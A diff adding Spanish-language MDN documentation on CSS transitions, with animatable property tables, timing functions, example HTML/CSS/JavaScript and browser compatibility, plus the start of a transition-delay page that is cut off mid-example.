+<div class="note"><strong>Nota</strong>: el evento "transitionend" no se dispara si la transición se anula debido a que el valor de la propiedad de animación es modificado antes de que la transición se complete.</div>
+
+<h2 id="Propiedades_que_pueden_ser_animadas">Propiedades que pueden ser animadas</h2>
+
+<p>Las transiciones y las animaciones CSS pueden usarse para animar las siguientes propiedades.</p>
+
+<div class="note"><strong>Nota</strong>: el conjunto de propiedades que puede animarse está sujeto a cambios, por lo tanto se recomienda evitar incluir cualquier propiedad en la lista que no anime porque en un futuro podría provocar resultados inesperados.</div>
+
+
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Tipo de valor</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("background-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("background-image") }}</td>
+   <td>solo degradado; no está implementado en Firefox (see {{ bug(536540) }})</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("background-position") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("background-size") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("border-color") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("border-radius") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("border-width") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("border-spacing") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("bottom") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-box-flex") }}</td>
+   <td>número</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("box-shadow") }}</td>
+   <td>sombra</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-column-count") }}</td>
+   <td>número</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-column-gap") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}, palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-column-rule-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-column-rule-width") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}, palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-column-width") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("clip") }}</td>
+   <td>rectágulo</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("fill") }}</td>
+   <td>pintar</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("fill-opacity") }}</td>
+   <td>valor de opacidad</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("flood-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}} | palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("font-size") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("font-size-adjust") }}</td>
+   <td>números, palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("font-stretch") }}</td>
+   <td>palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("font-weight") }}</td>
+   <td>números| palabras clave (excluyendo <code>bolder</code>, <code>lighter</code>)</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("height") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-image-region") }}</td>
+   <td><code>rect()</code></td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("left") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("letter-spacing") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("lighting-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}} | palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("line-height") }}</td>
+   <td>número | {{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("margin") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("marker-offset") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("max-height") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("max-width") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("min-height") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("min-width") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("opacity") }}</td>
+   <td>número</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("outline-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("outline-offset") }}</td>
+   <td>entero</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-outline-radius") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("outline-width") }}</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("padding") }} (including sub-properties)</td>
+   <td>{{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("right") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stop-color") }}</td>
+   <td>{{cssxref("&lt;color&gt;")}} | palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stop-opacity") }}</td>
+   <td>valor de opacidad</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke") }}</td>
+   <td>pintar</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke-dasharray") }}</td>
+   <td>dasharray</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke-dashoffset") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke-miterlimit") }}</td>
+   <td>miterlimit</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke-opacity") }}</td>
+   <td>valor de opacidad</td>
+  </tr>
+  <tr>
+   <td>{{ svgattr("stroke-width") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("text-indent") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("text-shadow") }}</td>
+   <td>sombra</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("top") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-transform-origin") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}, keywords</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("-moz-transform") }}</td>
+   <td>transform-function</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("vertical-align") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}, palabras clave</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("visibility") }}</td>
+   <td>visibilidad</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("width") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("word-spacing") }}</td>
+   <td>{{cssxref("&lt;percentage&gt;")}} | {{cssxref("&lt;length&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{ cssxref("z-index") }}</td>
+   <td>entero</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cuando_las_listas_de_valores_de_propiedades_tienen_longitudes_diferentes">Cuando las listas de valores de propiedades tienen longitudes diferentes</h2>
+
+<p>Si cualquier lista de valores de propiedades es más corta que las otras, sus valores se repiten para hacer que coincidan. Por ejemplo:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+</pre>
+
+<p>Se considera como si fuera:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+
+<p>De manera similar, si cualquier lista de valores de propiedades es más larga que la de {{ cssxref("transition-property") }}, se trunca, de forma que si tienes la siguiente CSS:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+
+<p>Se interpreta como:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}</pre>
+
+<h2 id="Funciones_de_intervalos_de_transición">Funciones de intervalos de transición</h2>
+
+<p>Las funciones de intervalos determinan el cálculo de los valores intermedios de la transición. La función de intervalo puede especificarse proporcionando el gráfico de la función correspondiente, como lo definen los cuatro puntos que definen una cúbica bézier:</p>
+
+<p><img alt="" src="/@api/deki/files/5226/=transition-timing-function.png"></p>
+
+<p>En lugar de especificar directamente una bézier, existen valores de intervalos predeterminados:</p>
+
+<ul>
+ <li><strong>ease</strong>, equivalente a <code>cubic-bezier(0.25, 0.1, 0.25, 1.0)</code></li>
+ <li><strong>linear</strong>, equivalente a <code>cubic-bezier(0.0, 0.0, 1.0, 1.0)</code></li>
+ <li><strong>ease-in</strong>, equivalente a <code>cubic-bezier(0.42, 0, 1.0, 1.0)</code></li>
+ <li><strong>ease-out</strong>, equivalente a <code>cubic-bezier(0, 0, 0.58, 1.0)</code></li>
+ <li><strong>ease-in-out</strong>, equivalente a <code>cubic-bezier(0.42, 0, 0.58, 1.0)</code></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Una_muestra_del_efecto_de_transición">Una muestra del efecto de transición</h3>
+
+<p>Este sencillo ejemplo proporciona demostraciones de distintos efectos de transición sin excesivos adornos.</p>
+
+<p>En primer lugar, el HTML para crear los elementos sobre los que probaremos nuestras transiciones:</p>
+
+<pre class="deki-transform">&lt;ul&gt;
+  &lt;li id="long1"&gt;Transición larga, gradual...&lt;/li&gt;
+  &lt;li id="fast1"&gt;Transición muy rápida...&lt;/li&gt;
+  &lt;li id="delay1"&gt;Transición larga de un minuto de retraso...&lt;/li&gt;
+  &lt;li id="easeout"&gt;Usar intervalos de alejamiento...&lt;/li&gt;
+  &lt;li id="linear"&gt;Usar intervalos lineales...&lt;/li&gt;
+  &lt;li id="cubic1"&gt;Usar cúbica bézier(0.2, 0.4, 0.7, 0.8)...&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Cada elemento tiene su propia id.; la CSS se encarga del resto. Veamos un par de ejemplos.</p>
+
+<h4 id="Usar_un_retraso">Usar un retraso</h4>
+
+<p>Este ejemplo realiza una transición de tamaño de fuente de cuatro segundos con dos segundos de retraso entre el momento en que el usuario pasa el ratón por encima del elemento y el comienzo del efecto de animación:</p>
+
+<pre class="deki-transform">#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+</pre>
+
+<h4 id="Usar_una_función_de_intervalos_de_transición_lineales">Usar una función de intervalos de transición lineales</h4>
+
+<p>De manera predeterminada, la función de intervalos que se usa para computar los pasos intermedios durante la secuencia de animación proporciona una curva suave de aceleración y desaceleración para el efecto de animación. Si prefieres que el efecto mantenga una velocidad constante a lo largo de la animación, puedes especificar que deseas usar la función de intervalos de transición <code>linear</code>, tal y como se muestra a continuación.</p>
+
+<pre>transition-timing-function: linear;
+</pre>
+
+<p>Existen distintas funciones de intervalos estándares disponibles; consulta {{ cssxref("transition-timing-function") }} para tener más detalles.</p>
+
+<h4 id="Especificar_una_función_de_intervalos_cúbicos_bézier">Especificar una función de intervalos cúbicos bézier</h4>
+
+<p>Puedes controlar aún más el intervalo de la secuencia de animación si especificas tu propia curva cúbica bézier que describe la velocidad de animación. Por ejemplo:</p>
+
+<pre>  transition-timing-function: cubic-bezier(0.2, 0.4, 0.7, 0.8);
+</pre>
+
+<p>Establece una función de intervalo con una curva bézier definida por los puntos (0.0, 0.0), (0.2, 0.4), (0.7, 0.8) y (1.0, 1.0).</p>
+
+<h3 id="Menús_de_resaltado">Menús de resaltado</h3>
+
+<p>Un uso común de CSS es resaltar elementos de un menú mientras el usuario desplaza el cursor del ratón por encima de ellos. Es fácil usar las transciones para hacer que el efecto sea aún más atractivo.</p>
+
+<p>Antes de que miremos los fragmentos de código, tal vez desees <a class="external" href="http://developer.mozilla.org/samples/cssref/transitions/sample2/" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/">echar un vistazo a la demo en vivo</a> (suponiendo que tu navegador admita transiciones). También puedes echar un <a class="external" href="http://developer.mozilla.org/samples/cssref/transitions/sample2/transitions.css" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/transitions.css">vistazo directamente a la CSS</a> que usa.</p>
+
+<p>Primero configuramos el menú usando HTML:</p>
+
+<pre class="deki-transform">&lt;div class="sidebar"&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="home"&gt;Inicio&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="about"&gt;Acerca de&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="contact"&gt;Contacto Us&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="links"&gt;Vínculos&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Después construimos la CSS para implementar el aspecto de nuestro menú. Las porciones relevantes se muestran a continuación:</p>
+
+<pre>.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  -webkit-transition-property: background-color, color;
+  -webkit-transition-duration: 1s;
+  -o-transition-property: background-color, color;
+  -o-transition-duration: 1s;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  -moz-box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  -webkit-transition-property: background-color, color;
+  -webkit-transition-duration: 1s;
+  -o-transition-property: background-color, color;
+  -o-transition-duration: 1s;
+  background-color:white;
+  color:black;
+  -moz-box-shadow: 2px 2px 1px black;
+}
+</pre>
+
+<p>Esta CSS establece el aspecto del menú con los colores de fondo y del texto que cambian cuando el elemento está en su estado {{ cssxref(":hover") }}.</p>
+
+<p>En lugar de describir el efecto con todo detalle, puedes echar un <a href="/samples/cssref/transitions/sample2" title="samples/cssref/transitions/sample2">vistazo a la muestra en vivo</a> si tu navegador admite transiciones (Firefox y WebKit nightlies, Opera 10.5).</p>
+
+<h3 id="Usar_eventos_de_transición_para_animar_un_objeto">Usar eventos de transición para animar un objeto</h3>
+
+<p>En este ejemplo, una pequeña caja con texto dentro se mueve hacia atrás y hacia delante a través de la pantalla y los colores de fondo y del texto se difuminan entre dos valores mientras tiene lugar la animación.</p>
+
+<p>
+ <video controls src="https://developer.mozilla.org/samples/cssref/transitions/sample1/transitiondemo1.ogv"></video>
+</p>
+
+
+
+<p>Antes de que miremos los fragmentos de código, tal vez desees <a class="external" href="http://developer.mozilla.org/samples/cssref/transitions/sample1/" title="http://developer.mozilla.org/samples/cssref/transitions/sample1/">echar un vistazo a la demo en vivo</a> (suponiendo que tu navegador admita transiciones). También puedes echar un <a class="external" href="http://developer.mozilla.org/samples/cssref/transitions/sample1/transitions.css" title="http://developer.mozilla.org/samples/cssref/transitions/sample1/transitions.css">vistazo directamente a la CSS</a> que usa.</p>
+
+<h4 id="El_HTML">El HTML</h4>
+
+<p>El HTML para este ejemplo es muy sencillo:</p>
+
+<pre class="deki-transform">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;CSS Transition Demo&lt;/title&gt;
+    &lt;link rel="stylesheet" href="transitions.css" type="text/css"&gt;
+    &lt;script src="transitions.js" type="text/javascript"&gt;&lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body onload="runDemo()"&gt;
+    &lt;div class="slideRight"&gt;¡Esto es una caja!&lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Lo único que hay que observar aquí es que establecemos la clase para nuestra caja en "slideRight" inicialmente y cuando el documento haya terminado de cargarse, se ejecuta la función <code>runDemo()</code> del código JavaScript.</p>
+
+<h4 id="La_CSS">La CSS</h4>
+
+<p>Para crear nuestro efecto de animación, usamos dos clases de CSS, "slideRight" y "slideLeft". Si deseas ver el código completo de CSS, puedes mirar el archivo <a href="/samples/cssref/transitions/sample1/transitions.css" title="https://developer.mozilla.org/samples/cssref/transitions/sample1/transitions.css"><code>transitions.css</code></a> en su totalidad. A continuación se muestran sólo los trozos relevantes:</p>
+
+<pre class="deki-transform">.slideRight {
+  position: absolute;
+  transition-property: background-color, color, left;
+  transition-duration: 5s;
+  -webkit-transition-property: background-color, color, left;
+  -webkit-transition-duration: 5s;
+  -o-transition-property: background-color, color, left;
+  -o-transition-duration: 5s;
+  background-color: red;
+  left: 0%;
+  color: black;
+}
+</pre>
+
+<p>Observa que aquí especificamos de manera explícita la propiedad de posición. Esto es necesario porque sólo aquellos elementos cuya propiedad de posición se defina de manera expresa pueden animar su posición.</p>
+
+<p>La propiedad {{ cssxref("transition-property") }} se usa para enumerar las propiedades CSS que deseamos animar. En este caso, las propiedades que se van a animar son {{ cssxref("background-color") }}, {{ cssxref("color") }} y {{ cssxref("left") }}. La propiedad {{ cssxref("transition-duration") }} indica que deseamos que la animación tarde 5 segundos desde que comienza hasta que termina.</p>
+
+<p>Se incluyen los equivalentes WebKit y Opera para permitir que el ejemplo funcione en el software correspondiente.</p>
+
+<p>La clase "slideRight" se usa para especificar el punto de inicio para que la animación desplace el elemento desde el borde izquierdo hasta el borde derecho de la ventana del navegador. Como tal, define la posición y el color del elemento cuando está al principio de la secuencia de animación; concretamente, el valor para su propiedad {{ cssxref("left") }} es 0%, lo que indica que comenzará en el borde izquierdo de la ventana.</p>
+
+<p>Se muestra a continuación la clase "slideLeft", que define el punto final de la animación, es decir, el punto en el que concluirá la animación de izquierda a derecha y cambiaremos a una animación de derecha a izquierda.</p>
+
+<pre class="deki-transform">.slideLeft {
+  position: absolute;
+  transition-property: background-color, color, left;
+  transition-duration: 5s;
+  -webkit-transition-property: background-color, color, left;
+  -webkit-transition-duration: 5s;
+  -o-transition-property: background-color, color, left;
+  -o-transition-duration: 5s;
+  text-align: center;
+  background-color: blue;
+  left: 90%;
+  color: white;
+  width: 100px;
+  height: 100px;
+}
+</pre>
+
+<p>Los valores de color aquí se han cambiado para hacer que los colores de fondo y del texto cambien durante el tiempo de la secuencia de animación. Además de esto, la propiedad {{ cssxref("left") }} está aquí al 90%.</p>
+
+<h4 id="El_código_JavaScript">El código JavaScript</h4>
+
+<p>Una vez que hemos establecido los extremos de la secuencia de animación, lo que tenemos que hacer es iniciar la animación. Podemos hacerlo fácilmente usando JavaScript.</p>
+
+<div class="note"><strong>Nota:</strong> una vez que <a class="external" href="http://dev.w3.org/csswg/css3-animations/" title="http://dev.w3.org/csswg/css3-animations/">la compatibilidad para las animaciones</a> CSS esté disponible, el código JavaScript no será necesario para lograr este efecto.</div>
+
+<p>En primer lugar, la función<code> runDemo()</code> que se llama cuando el documento se carga para inicializar la secuencia de animación:</p>
+
+<pre class="deki-transform">function runDemo() {
+  var el = updateTransition();
+
+  // Configurar un controlador de eventos para invertir la dirección
+  // cuando finalice la transición.
+
+  el.addEventListener("transitionend", updateTransition, true);
+}
+</pre>
+
+<p>Es bastante sencillo: llama a la función<code> updateTranslation()</code> que definiremos enseguida, cuyo trabajo es establecer la clase para el elemento que estamos animando según la dirección en la que queramos que viaje. A continuación configura un proceso de escucha de evento para observar el evento "transitionend" que se envía cuando se completa una transición; esto nos permite saber cuándo es el momento para cambiar la clase del elemento para revertir la dirección de la animación.</p>
+
+<p>La función <code>updateTransition()</code> tiene este aspecto:</p>
+
+<pre class="deki-transform">function updateTransition() {
+  var el = document.querySelector("div.slideLeft");
+
+  if (el) {
+    el.className = "slideRight";
+  } else {
+    el = document.querySelector("div.slideRight");
+    el.className = "slideLeft";
+  }
+
+  return el;
+}
+</pre>
+
+<p>Esto ubica el elemento que estamos animando al buscarlo por su nombre de clase (aquí podríamos usar una id, por supuesto, pero seguidme la corriente). En primer lugar buscamos el nombre de la clase "slideLeft". Si se encuentra, cambiamos la clase del elemento a "slideRight". Esto iniciará la transición de derecha a izquierda, puesto que es el momento de que se deslice a la izquierda si el elemento está ya en el borde derecho, que será cuando llegue el evento "transitionend" y la clase del elemento sea "slideLeft" (se deslice a la izquierda).</p>
+
+<p>Si no se halla ningún elemento que coincida con la clase "slideLeft", buscamos el elemento que coincida con "slideRight" y cambiamos su clase a "slideLeft", comenzando de ese modo la animación en la dirección contraria.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegadores</th>
+   <th>Compatibilidad básica</th>
+   <th>Propiedad</th>
+   <th>Evento de transición finalizada</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>(ninguna, a partir de IE9 pp7)</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>4.0</strong> (2.0)</td>
+   <td><code>-moz-transition</code></td>
+   <td><code>transitionend</code></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td><strong>10.5</strong></td>
+   <td><code>-o-transition</code></td>
+   <td><code>OTransitionEnd</code></td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td>3.2 | yes | yes</td>
+   <td><code>-webkit-transition</code></td>
+   <td><code>webkitTransitionEnd</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h3>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Consultar_también">Consultar también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-transitions" title="http://www.w3.org/TR/css3-transitions">Módulo de transiciones CSS nivel 3</a></li>
+ <li>{{ cssxref("-moz-transition") }}</li>
+ <li>{{ cssxref("-moz-transition-property") }}</li>
+ <li>{{ cssxref("-moz-transition-duration") }}</li>
+ <li>{{ cssxref("-moz-transition-timing-function") }}</li>
+ <li>{{ cssxref("-moz-transition-delay") }}</li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
+
+<p>{{ languages( { "en": "en/CSS/CSS_transitions" } ) }}</p>
diff --git a/files/es/web/css/transition-delay/index.html b/files/es/web/css/transition-delay/index.html
new file mode 100644
index 0000000000..b3c85d103f
--- /dev/null
+++ b/files/es/web/css/transition-delay/index.html
@@ -0,0 +1,388 @@
+---
+title: transition-delay
+slug: Web/CSS/transition-delay
+translation_of: Web/CSS/transition-delay
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en/CSS" style="line-height: inherit;" title="CSS">CSS</a> <code style="font-size: 14px; line-height: inherit;">transition-delay</code><span style="line-height: inherit;"> especifica la cantidad de tiempo a esperar entre un cambio pedido hacia una propiedad y el comienzo de un efecto de transicion (</span><a href="/en/CSS/CSS_transitions" style="line-height: inherit;" title="en/CSS/CSS transitions">transition effect</a><span style="line-height: inherit;">).</span></p>
+
+<p>Un valor de <code>0s</code>, o <code>0ms</code>, indica que la propiedad comenzará a animar la transición inmediatamente cuando el valor cambie; valores positivos retrasaran el comienzo del efecto de transicion por el numero de segundos correspondiente. Valores negativos causaran que la transicion comience inmediatamente, pero causando que el efecto de la transicion pareciera que empiece por la mitad de la animacion.</p>
+
+<p>Puedes especificar multiples retrasos ("delays"); cada retraso se aplicará a la propiedad correspondiente especificada por la propiedad <span style="line-height: inherit;">{{ cssxref("transition-property") }}, que actua como una lista maestra. Si hay menos delays especificados que en la lista maestra, valores perdidos son puestos en el valor inicial (0s).</span></p>
+
+<p><span style="line-height: inherit;">You may specify multiple delays; each delay will be applied to the corresponding property as specified by the {{ cssxref("transition-property") }} property, which acts as a master list. If there are fewer delays specified than in the master list, missing values are set to the initial value (</span><code style="font-size: 14px; line-height: inherit;">0s</code><span style="line-height: inherit;">). If there are more delays, the list is simply truncated to the right size. In both case the CSS declaration stays valid.</span></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("transition-delay")}}
+</pre>
+
+<pre>transition-delay: 3s
+transition-delay: 2s, 4ms
+
+transition-delay: initial
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Is a {{cssxref("&lt;time&gt;")}} denoting the amount of time to wait between a property's value changing and the start of the animation effect.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<div>
+<div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
